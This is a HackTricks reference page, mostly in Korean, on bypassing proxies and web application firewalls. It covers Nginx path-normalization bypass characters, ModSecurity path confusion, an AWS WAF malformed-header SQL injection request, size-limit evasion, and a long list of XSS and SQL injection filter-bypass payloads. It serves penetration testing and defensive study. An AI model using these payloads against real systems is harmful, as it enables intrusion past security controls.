Proxy / WAF Protections Bypass

Support HackTricks

Nginx ACL 규칙 우회하기 위한 경로 조작

기술 이 연구에서.

Nginx 규칙 예:

location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

Nginx는 우회 방지를 위해 경로 정규화를 수행합니다. 그러나 백엔드 서버가 Nginx가 제거하지 않는 문자를 제거하는 다른 정규화를 수행하는 경우 이 방어를 우회할 수 있습니다.

NodeJS - Express

Nginx Version

Node.js Bypass Characters

1.22.0

\xA0

1.21.6

\xA0

1.20.2

\xA0, \x09, \x0C

1.18.0

\xA0, \x09, \x0C

1.16.1

\xA0, \x09, \x0C

Flask

Nginx Version

Flask Bypass Characters

1.22.0

\x85, \xA0

1.21.6

\x85, \xA0

1.20.2

\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B

1.18.0

\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B

1.16.1

\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B

Spring Boot

Nginx Version

Spring Boot Bypass Characters

1.22.0

;

1.21.6

;

1.20.2

\x09, ;

1.18.0

\x09, ;

1.16.1

\x09, ;

PHP-FPM

Nginx FPM 구성:

location = /admin.php {
deny all;
}

location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}

Nginx는 /admin.php에 대한 접근을 차단하도록 구성되어 있지만, /admin.php/index.php에 접근함으로써 이를 우회할 수 있습니다.

방지 방법

location ~* ^/admin {
deny all;
}

Mod Security 규칙 우회

경로 혼동

이 게시물에서는 ModSecurity v3(3.0.12까지)가 접근된 경로(매개변수 시작 전)를 포함해야 하는 REQUEST_FILENAME 변수를 부적절하게 구현했다고 설명합니다. 이는 경로를 얻기 위해 URL 디코드를 수행했기 때문입니다. 따라서 mod security에서 http://example.com/foo%3f';alert(1);foo=와 같은 요청은 %3f?로 변환되어 URL 경로가 끝나기 때문에 경로가 단지 /foo라고 가정하지만, 실제로 서버가 받을 경로는 /foo%3f';alert(1);foo=입니다.

변수 REQUEST_BASENAMEPATH_INFO도 이 버그의 영향을 받았습니다.

Mod Security 버전 2에서도 비슷한 일이 발생하여 특정 확장자와 관련된 백업 파일(예: .bak)에 대한 사용자 접근을 방지하는 보호를 우회할 수 있었습니다. 이는 단순히 점을 %2e로 URL 인코딩하여 전송함으로써 가능했습니다. 예를 들어: https://example.com/backup%2ebak.

AWS WAF ACL 우회

잘못된 헤더

이 연구에서는 AWS가 제대로 파싱하지 못한 "잘못된" 헤더를 전송함으로써 HTTP 헤더에 적용된 AWS WAF 규칙을 우회할 수 있었다고 언급합니다. 그러나 백엔드 서버는 이를 파싱할 수 있었습니다.

예를 들어, X-Query 헤더에 SQL 인젝션이 포함된 다음 요청을 전송하는 것입니다:

GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n

AWS WAF를 우회할 수 있었던 이유는 NODEJS 서버는 다음 줄이 헤더 값의 일부임을 이해했지만 WAF는 이해하지 못했기 때문입니다(이 문제는 수정되었습니다).

일반적인 WAF 우회

요청 크기 제한

일반적으로 WAF는 요청을 확인하기 위한 특정 길이 제한이 있으며, POST/PUT/PATCH 요청이 이를 초과하면 WAF는 요청을 확인하지 않습니다.

Application Load Balancer 및 AWS AppSync 보호를 위해 검사할 수 있는 웹 요청 본문의 최대 크기

8 KB

CloudFront, API Gateway, Amazon Cognito, App Runner 및 Verified Access 보호를 위해 검사할 수 있는 웹 요청 본문의 최대 크기**

64 KB

Core Rule Set 3.1(또는 그 이하)의 오래된 웹 애플리케이션 방화벽은 요청 본문 검사를 끔으로써 128 KB보다 큰 메시지를 허용하지만, 이러한 메시지는 취약점 검사를 받지 않습니다. 최신 버전(Core Rule Set 3.2 이상)에서는 최대 요청 본한 제한을 비활성화하여 동일한 작업을 수행할 수 있습니다. 요청이 크기 제한을 초과하면:

차단 모드: 요청을 기록하고 차단합니다. 탐지 모드: 제한까지 검사하고 나머지는 무시하며, Content-Length가 제한을 초과하면 기록합니다.

기본적으로 WAF는 요청의 첫 8KB만 검사합니다. 고급 메타데이터를 추가하여 최대 128KB까지 제한을 늘릴 수 있습니다.

최대 128KB.

난독화

# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>

# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;

유니코드 호환성

유니코드 정규화의 구현에 따라 (자세한 정보는 여기 참조), 유니코드 호환성을 공유하는 문자들은 WAF를 우회하고 의도된 페이로드로 실행될 수 있습니다. 호환 가능한 문자는 여기에서 찾을 수 있습니다.

예시

# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
<img src⁼p onerror⁼'prompt⁽1⁾'﹥  --> <img src=p onerror='prompt(1)'>

H2C Smuggling

Upgrade Header Smuggling

IP Rotation

Regex Bypasses

방화벽의 regex 필터를 우회하기 위해 다양한 기술을 사용할 수 있습니다. 예를 들어 대소문자 교차, 줄 바꿈 추가, 페이로드 인코딩 등이 있습니다. 다양한 우회 방법에 대한 자료는 PayloadsAllTheThingsOWASP에서 찾을 수 있습니다. 아래 예시는 이 기사에서 가져왔습니다.

<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)

Tools

  • nowafpls: WAF를 우회하기 위해 요청에 쓰레기 데이터를 추가하는 Burp 플러그인

References

HackTricks 지원하기

Last updated